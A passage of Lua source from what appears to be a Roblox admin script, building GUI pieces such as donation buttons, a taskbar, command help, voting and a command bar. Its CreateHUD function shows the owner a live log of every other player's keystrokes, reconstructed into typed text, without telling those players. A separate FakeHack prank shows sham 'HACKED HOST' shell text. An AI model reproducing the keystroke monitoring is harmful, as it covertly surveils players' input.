4604 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4605 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4606 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4607
4608 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4609
4610 if Closed then
4611 Closed.Event:connect(function()
4612 Open = false
4613 end)
4614 end
4615 else
4616 CloseForm:Invoke()
4617 end
4618 end) end)()
4619 if RANK:GetRank(Player) == "Owner" then
4620 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4621 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4622 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4623 if HUDSG then
4624 HUDSG:Destroy()
4625 else
4626 GUI:CreateHUD(Player)
4627 end
4628 end)
4629 end
4630 end
4631
4632 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4633 if IsMoving == false then
4634 if TaskBarShown == true then
4635 TaskBarShown = false
4636 IsMoving = true
4637 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4638 else
4639 TaskBarShown = true
4640 IsMoving = true
4641 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4642 end
4643 end
4644 end)
4645
4646 local function ReloadIcons()
4647 for Num,Data in pairs(Tasks) do
4648 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4649 end
4650 end
4651
4652 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4653 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4654 table.insert(Tasks, {Form, Icon})
4655 local CanClick = true
4656 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4657 if Form.IsActive.Value == false then
4658 Restore:Invoke()
4659 elseif CanClick == true then
4660 coroutine.wrap(function()
4661 CanClick = false
4662 local DefPos = Form.Dragger.Position
4663 for i = 1,15 do
4664 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4665 wait(0.05)
4666 end
4667 Form.Dragger.Position = DefPos
4668 CanClick = true
4669 end)()
4670 end
4671 end)
4672 ReloadIcons()
4673
4674 Closed.Event:connect(function()
4675 for Num,Data in pairs(Tasks) do
4676 if Data[1] == Form then
4677 Icon:Destroy()
4678 table.remove(Tasks, Num)
4679 end
4680 end
4681 ReloadIcons()
4682 end)
4683 end)
4684end
4685
4686function GUI:ShowDebtStats(Player, ManualText)
4687 local Text = ManualText
4688 if not ManualText then
4689 Text = "CANNOT GET STATISTICS"
4690 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4691 if RawPage then
4692 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4693 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4694 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4695 end
4696 end
4697
4698 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4699 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4700
4701 return Text
4702end
4703
4704function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4705 if not Player then return nil end
4706 if not CommandTrigger then return nil end
4707
4708 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4709
4710 local CommandKey = CommandTrigger
4711
4712 if not Commands[CommandKey] then
4713 for CommandNames,_ in pairs(Commands) do
4714 for _,CommandName in pairs(CommandNames) do
4715 if CommandName == CommandKey then
4716 CommandKey = CommandNames
4717 end
4718 end
4719 end
4720 end
4721
4722 local CommandData = Commands[CommandKey]
4723
4724 local BodyText = "No valid command has been entered"
4725 local TitleText = "Error"
4726 local CanExe = false
4727 if CommandData then
4728 if Dialog then
4729 Dialog:Invoke(true)
4730 end
4731 local PlayerRank = RANK:GetRank(Player)
4732 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4733 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4734
4735 TitleText = "Command: "..CommandKey[1]
4736 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4737
4738
4739Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4740
4741
4742Description: ]]..CommandData[2]..[[
4743
4744
4745Arguments: ]]..CommandData[3]..[[
4746
4747
4748Minimum rank needed: ]]..CommandData[4]..[[
4749
4750
4751Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4752
4753
4754Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4755
4756
4757Http Command ]]..STRING:BoolString(CommandData.Http)
4758 end
4759
4760 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4761 if Dialog then
4762 Closed.Event:connect(function() Dialog:Invoke(false) end)
4763 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4764 end
4765end
4766
4767function GUI:CreateHUD(Speaker)
4768 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4769
4770 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4771 if SG then SG:Destroy() end
4772 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4773
4774 local function AddHUD(Player, Char)
4775 if not Char or not Char:FindFirstChild("Head") then return nil end
4776
4777 local Rank = RANK:GetRank(Player)
4778 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4779 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4780 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4781 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4782 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4783 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4784 InfoLabel.Text = "Name: "..Player.Name..[[
4785Rank: ]]..RANK:GetRank(Player)..[[
4786Age: ]]..STRING:FindAge(Player.AccountAge)
4787 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4788 InfoLabel.Text = InfoLabel.Text..[[
4789Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4790 end
4791 if LastKeys[Player.UserId] then
4792 local Keys = ""
4793 local KeyLog = {}
4794 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4795 table.insert(KeyLog, KeyData[1])
4796 if KeyData[2] == 8 then
4797 Keys = string.sub(Keys, 1, #Keys - 1)
4798 elseif KeyData[2] == 13 then
4799 Keys = Keys.." "
4800 else
4801 Keys = Keys..string.char(KeyData[2])
4802 end
4803 end
4804 KeyLabel.Text = table.concat(KeyLog, "\n")
4805 KeyOutput.Text = Keys
4806 end
4807 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4808 end end)()
4809
4810 local CharRev,Removing = nil,nil
4811 CharRev = Player.CharacterRemoving:connect(function()
4812 PlayerHUD:Destroy()
4813 CharRev:disconnect()
4814 Removing:disconnect()
4815 end)
4816 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4817 PlayerHUD:Destroy()
4818 CharRev:disconnect()
4819 Removing:disconnect()
4820 end end)
4821 end
4822
4823 local function ConnectHUD(Player)
4824 if Player ~= Speaker then
4825 if Player.Character then
4826 AddHUD(Player, Player.Character)
4827 end
4828
4829 Player.CharacterAdded:connect(function(Char)
4830 if Speaker then
4831 AddHUD(Player, Char)
4832 else return nil
4833 end
4834 end)
4835 end
4836 end
4837
4838 for _,Player in pairs(Server.Players:GetPlayers()) do
4839 ConnectHUD(Player)
4840 end
4841
4842 Server.Players.PlayerAdded:connect(ConnectHUD)
4843end
4844
4845function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4846 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4847 local Stopped = false
4848
4849 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4850 Frame.Size = UDim2.new(1, 0, 1, -30)
4851 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4852
4853 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4854 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4855 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4856
4857 local function AddLine(Speaker, MessageText, MessageColor)
4858 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4859 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4860 if not MessageColor then MessageColor = GUI:ContrastColor() end
4861 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4862 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4863 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4864 Bounds.Parent = Frame
4865 end
4866
4867 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4868
4869 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4870 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4871 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4872
4873 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4874 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4875
4876 CORE:ExecuteResource("MessagePromptHandler", Frame)
4877
4878 wait(0.1)
4879
4880 if PreAdd then
4881 for Num,Add in pairs(PreAdd) do
4882 AddLine(Add[1], Add[2], Add[3])
4883 end
4884 end
4885
4886 --[[
4887 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4888
4889 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4890 if ChatBox.Text == "Click here or press the '-' key" then
4891 ChatBox.Text = ""
4892 end
4893 end)
4894 ]]
4895
4896 local function FireSendPressed()
4897 local Text = CORE:ReadProperty(RPR, Player, "Text")
4898 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4899 SendPressed:Fire(Text)
4900 FakeCB.Visible = true
4901 ClearCB:InvokeClient(Player)
4902 end
4903 end
4904
4905 Closed.Event:connect(function()
4906 if Stopped == false then
4907 Stopped = true
4908 if SpeakerEvents then SpeakerEvents("Leave") end
4909 end
4910 end)
4911
4912 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4913 EnterPressed.OnServerInvoke = FireSendPressed
4914 AddMessage.OnInvoke = AddLine
4915
4916 if SpeakerEvents then
4917 SpeakerEvents("Join")
4918
4919 coroutine.wrap(function()
4920 repeat wait() until not Frame or not Frame.Parent
4921 if Stopped == false then
4922 Stopped = true
4923 SpeakerEvents("Leave")
4924 end
4925 end)()
4926 end
4927
4928 return SendPressed, AddMessage
4929end
4930
4931function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4932 if tonumber(Time) then ShowFormButtons = false end
4933 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4934 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4935 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4936 local Clicked = nil
4937 local Alive = true
4938
4939 local function ClosePrompt(ButtonName)
4940 Alive = false
4941 Close:Invoke()
4942 Clicked = ButtonName
4943 end
4944
4945 for Num,Select in pairs(Buttons) do
4946 local Name = Select
4947 local Style = "White"
4948 local TextColor3 = Color3.new(0,0,0)
4949 if type(Select) == "table" then
4950 Name = Select[1]
4951 if Select[2] then Style = Select[2] end
4952 if Select[3] then TextColor3 = Select[3] end
4953 elseif type(Select) == "string" then
4954 local Case = string.lower(Select)
4955 if Case == "ok" then
4956 Name = "Ok"
4957 Style = "Primary"
4958 TextColor3 = Color3.new(1,1,1)
4959 elseif Case == "yes" then
4960 Name = "Yes"
4961 Style = "Gray"
4962 TextColor3 = Color3.new(0,1,0)
4963 elseif Case == "no" then
4964 Name = "No"
4965 Style = "Red"
4966 TextColor3 = Color3.new(1,0,0)
4967 end
4968 end
4969
4970 if Style == "None" then Style = "Custom" end
4971 if Style == "Casual" then Style = "RobloxButton" end
4972 if Style == "Red" then Style = "RobloxButtonDefault" end
4973 if Style == "Gray" then Style = "RobloxRoundButton" end
4974 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4975 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4976
4977 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4978 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4979 SOUND:BindButton(Button)
4980 end
4981
4982 if tonumber(Time) then
4983 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4984 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4985 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4986
4987 for i = Time,0,-1 do
4988 for ii = 1,10 do
4989 if Alive == true then
4990 Ticker.Text = i
4991 wait(0.1)
4992 else
4993 break
4994 end
4995 end
4996 end
4997 if Alive == true then
4998 ClosePrompt()
4999 end
5000 end
5001
5002 repeat wait() until Alive == false
5003 return Clicked
5004end
5005
5006function GUI:Vote(Speaker, Players, Text, Time)
5007 if not Players or not Text or #Players <= 0 then return end
5008
5009 local Votes = {}
5010 local Tick = 0
5011
5012 for _,Player in pairs(Players) do
5013 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
5014 local CanVote = true
5015 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
5016 if CanVote == true then
5017 coroutine.wrap(function()
5018 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
5019 if Answer == nil then Answer = "Unknown" end
5020 table.insert(Votes, Answer)
5021 end)()
5022 end
5023 end
5024 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
5025 wait(2)
5026 if Speaker and Speaker:FindFirstChild("PlayerGui") then
5027 local Total = #Players
5028 local Yes,No,Unknown = 0,0,0
5029 for _,Vote in pairs(Votes) do
5030 if Vote == "Yes" then Yes = Yes + 1
5031 elseif Vote == "No" then No = No + 1
5032 end
5033 end
5034 Unknown = #Players - #Votes
5035
5036 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
5037 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
5038 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
5039]]..Yes.."/"..Total..[[
5040]]..math.ceil((Yes/Total)*100).."% "
5041 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
5042]]..No.."/"..Total..[[
5043]]..math.ceil((No/Total)*100).."% "
5044 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
5045]]..Unknown.."/"..Total..[[
5046]]..math.ceil((Unknown/Total)*100).."% "
5047 end
5048end
5049
5050--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
5051
5052function GUI:LoadGui(Player, Text, InfoText)
5053 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5054 local Dead = false
5055
5056 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
5057 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
5058 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
5059 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
5060 if InfoText then Info.Text = InfoText end
5061
5062 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
5063 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
5064
5065 CloseGui.OnInvoke = function()
5066 Close:Invoke()
5067 Dead = true
5068 end
5069 AddInfo.OnInvoke = function(AddText)
5070 Info.Text = AddText
5071 end
5072
5073 coroutine.wrap(function()
5074 for i = 0,math.huge,3 do
5075 if Dead == false and Frame then
5076 WaitIcon.Rotation = i
5077 wait()
5078 else
5079 break
5080 end
5081 end
5082 end)()
5083
5084 coroutine.wrap(function()
5085 while Dead == false and Frame do
5086 wait(0.5)
5087 LoadLabel.Text = Text.."."
5088 wait(0.5)
5089 LoadLabel.Text = Text..".."
5090 wait(0.5)
5091 LoadLabel.Text = Text.."..."
5092 wait(0.5)
5093 LoadLabel.Text = Text..".."
5094 wait(0.5)
5095 LoadLabel.Text = Text.."."
5096 wait(0.5)
5097 LoadLabel.Text = Text
5098 end
5099 end)()
5100
5101 wait(1)
5102
5103 return CloseGui, AddInfo
5104end
5105
5106function GUI:FakeHack(Player) coroutine.wrap(function()
5107 if not Player or not Player:FindFirstChild("PlayerGui") then return end
5108 local FakeText = [[
5109>SHELL: BEGIN
5110>RUNCODE:
5111return {
5112 local Hack = {"Account", "Tix", "Robux"};
5113 function Start(Type, Inject, Scan)
5114 if not Inject then Inject = "In-Game" end
5115 return {Type, Inject, Scan}
5116 end
5117 for Exe,Exploit in pairs(Hack) do
5118 local IP = Start("In-Game",Exploit,
5119 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
5120 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
5121 )
5122 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
5123 for i = 1,#Injection[2] do
5124 Log("PlayerData", "ConnectHost", "PLAYERNAME")
5125 end
5126 local PlayerProxy = newproxy(true)
5127 setmetatable(PlayerProxy,Injection[3],{
5128 __index = function(StealData, ...) local Data = unpack(...)
5129 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5130 end;
5131 })
5132 end
5133 Log("HACKED HOST: PLAYERNAME")
5134}
5135>HACKED HOST: PLAYERNAME
5136
5137]]
5138 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5139 if SG then SG:Destroy() end
5140 SG = Instance.new("ScreenGui", Player.PlayerGui)
5141 SG.Name = "MML Hack Gui"
5142 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5143 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5144 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5145 for i = 1,#FakeText do
5146 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5147 if math.random(1,5) == 1 then
5148 wait()
5149 end
5150 end
5151 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5152 wait(3)
5153 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5154fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5155 X.Visible = true
5156end)() end
5157
5158function GUI:CommandBar(Player)
5159 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5160
5161 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5162 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5163 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5164 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5165
5166 local _,Rank = RANK:GetRank(Player)
5167 local UsableCommands = {}
5168 for CommandNames,Data in pairs(Commands) do
5169 if not Data.Hidden then
5170 if RANK:ConvertRank(Data[4]) <= Rank then
5171 for _,Command in pairs(CommandNames) do
5172 table.insert(UsableCommands, {Command, Data[3]})
5173 end
5174 end
5175 end
5176 end
5177
